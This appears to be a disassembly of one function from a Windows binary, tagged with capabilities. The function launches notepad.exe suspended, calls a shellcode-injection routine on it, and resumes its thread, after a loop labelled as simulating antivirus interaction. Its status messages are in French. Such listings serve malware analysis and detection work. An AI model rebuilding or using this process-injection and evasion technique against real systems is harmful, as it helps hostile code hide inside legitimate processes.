Function at 0x401a82
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax]
mov dword [rbp - 8], eax
lea rdx, str.Processus_enfant
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp - 8]
mov edx, eax
call sym.std::ostream::operator___int_
lea rdx, str._dmarr.
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x0040ba10]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov dword [rbp - 4], 0
cmp dword [rbp - 4], 4
jg 0x401b2b
call sym.rand
mov ecx, eax
mov edx, 0x57619f1
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0xbb8
sub ecx, eax
mov eax, ecx
add eax, 0x3e8
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [rbp - 8]
mov ecx, eax
call sym.simulate_av_interaction_int_
add dword [rbp - 4], 1
jmp 0x401adf
lea rdx, str.Injection_de_shellcode_dans_le_processus_enfant
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp - 8]
mov edx, eax
call sym.std::ostream::operator___int_
mov rdx, qword [0x0040ba10]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp - 0x70]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x90]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x70], 0x68
lea rax, [rbp - 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.C:Windows_system32_notepad.exe
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
setne al
test al, al
je 0x401c50
mov eax, dword [rbp - 0x80]
mov ecx, eax
call sym.inject_shellcode_unsigned_long_
mov rax, qword [rbp - 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp - 0x90]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401c7f
lea rdx, str.Echec_du_lancement_de_Notepad_dans_le_processus_enfant
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp - 8]
mov edx, eax
call sym.std::ostream::operator___int_
mov rdx, qword [0x0040ba10]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rdx, str.Processus_enfant
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp - 8]
mov edx, eax
call sym.std::ostream::operator___int_
lea rdx, str._termin.
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x0040ba10]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 0
add rsp, 0xe0
pop rbp
ret